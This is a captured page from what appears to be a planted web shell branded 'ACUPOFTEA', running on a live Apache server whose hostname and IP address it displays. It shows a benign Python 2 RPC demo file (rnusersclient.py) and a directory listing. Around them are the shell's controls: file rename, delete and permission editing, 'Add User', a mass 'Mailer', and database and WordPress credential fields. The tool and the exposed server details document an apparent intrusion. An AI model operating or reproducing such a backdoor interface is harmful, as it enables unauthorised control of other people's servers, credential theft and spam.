System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
Demo
/
rpc
/
216.73.216.6
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
rnusersclient.py
# Remote nusers client interface import rpc from rpc import Packer, Unpacker, UDPClient, BroadcastUDPClient class RnusersPacker(Packer): def pack_utmp(self, ui): ut_line, ut_name, ut_host, ut_time = utmp self.pack_string(ut_line) self.pack_string(ut_name) self.pack_string(ut_host) self.pack_int(ut_time) def pack_utmpidle(self, ui): ui_itmp, ui_idle = ui self.pack_utmp(ui_utmp) self.pack_uint(ui_idle) def pack_utmpidlearr(self, list): self.pack_array(list, self.pack_itmpidle) class RnusersUnpacker(Unpacker): def unpack_utmp(self): ut_line = self.unpack_string() ut_name = self.unpack_string() ut_host = self.unpack_string() ut_time = self.unpack_int() return ut_line, ut_name, ut_host, ut_time def unpack_utmpidle(self): ui_utmp = self.unpack_utmp() ui_idle = self.unpack_uint() return ui_utmp, ui_idle def unpack_utmpidlearr(self): return self.unpack_array(self.unpack_utmpidle) class PartialRnusersClient: def addpackers(self): self.packer = RnusersPacker() self.unpacker = RnusersUnpacker('') def Num(self): return self.make_call(1, None, None, self.unpacker.unpack_int) def Names(self): return self.make_call(2, None, \ None, self.unpacker.unpack_utmpidlearr) def Allnames(self): return self.make_call(3, None, \ None, self.unpacker.unpack_utmpidlearr) class RnusersClient(PartialRnusersClient, UDPClient): def __init__(self, host): UDPClient.__init__(self, host, 100002, 2) class BroadcastRnusersClient(PartialRnusersClient, BroadcastUDPClient): def __init__(self, bcastaddr): BroadcastUDPClient.__init__(self, bcastaddr, 100002, 2) def test(): import sys if not sys.argv[1:]: testbcast() return else: host = sys.argv[1] c = RnusersClient(host) list = c.Names() for (line, name, host, time), idle in list: line = strip0(line) name = strip0(name) host = strip0(host) print "%r %r %r %s %s" % (name, host, line, time, idle) def testbcast(): c = BroadcastRnusersClient('<broadcast>') def listit(list, fromaddr): host, port = fromaddr print host + '\t:', for (line, name, host, time), idle in list: print strip0(name), print c.set_reply_handler(listit) all = c.Names() print 'Total Count:', len(all) def strip0(s): while s and s[-1] == '\0': s = s[:-1] return s test()
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 12:47:00
..
DIR
-
drwxr-xr-x
2024-06-24 12:47:00
MANIFEST
text/plain
361 B
-rw-r--r--
2020-04-19 09:13:39
README
text/plain
1.23 KB
-rw-r--r--
2020-04-19 09:13:39
T.py
text/plain
575 B
-rw-r--r--
2020-04-19 09:13:39
T.pyc
application/octet-stream
952 B
-rw-r--r--
2024-04-10 04:58:46
T.pyo
application/octet-stream
952 B
-rw-r--r--
2024-04-10 04:58:46
mountclient.py
text/x-python
6.48 KB
-rw-r--r--
2020-04-19 09:13:39
mountclient.pyc
application/octet-stream
5.58 KB
-rw-r--r--
2024-04-10 04:58:46
mountclient.pyo
application/octet-stream
5.58 KB
-rw-r--r--
2024-04-10 04:58:46
nfsclient.py
text/x-python
5.2 KB
-rw-r--r--
2020-04-19 09:13:39
nfsclient.pyc
application/octet-stream
6.74 KB
-rw-r--r--
2024-04-10 04:58:46
nfsclient.pyo
application/octet-stream
6.74 KB
-rw-r--r--
2024-04-10 04:58:46
rnusersclient.py
text/x-python
2.57 KB
-rw-r--r--
2020-04-19 09:13:39
rnusersclient.pyc
application/octet-stream
5.01 KB
-rw-r--r--
2024-04-10 04:58:46
rnusersclient.pyo
application/octet-stream
5.01 KB
-rw-r--r--
2024-04-10 04:58:46
rpc.py
text/x-python
26.98 KB
-rw-r--r--
2020-04-19 09:13:39
rpc.pyc
application/octet-stream
29.72 KB
-rw-r--r--
2024-04-10 04:58:46
rpc.pyo
application/octet-stream
29.72 KB
-rw-r--r--
2024-04-10 04:58:46
test
text/plain
697 B
-rw-r--r--
2020-04-19 09:13:39
xdr.py
text/x-python
4.93 KB
-rw-r--r--
2020-04-19 09:13:39
xdr.pyc
application/octet-stream
7.72 KB
-rw-r--r--
2024-04-10 04:58:46
xdr.pyo
application/octet-stream
7.72 KB
-rw-r--r--
2024-04-10 04:58:46
~ ACUPOFTEA - mail.ontime-ae.com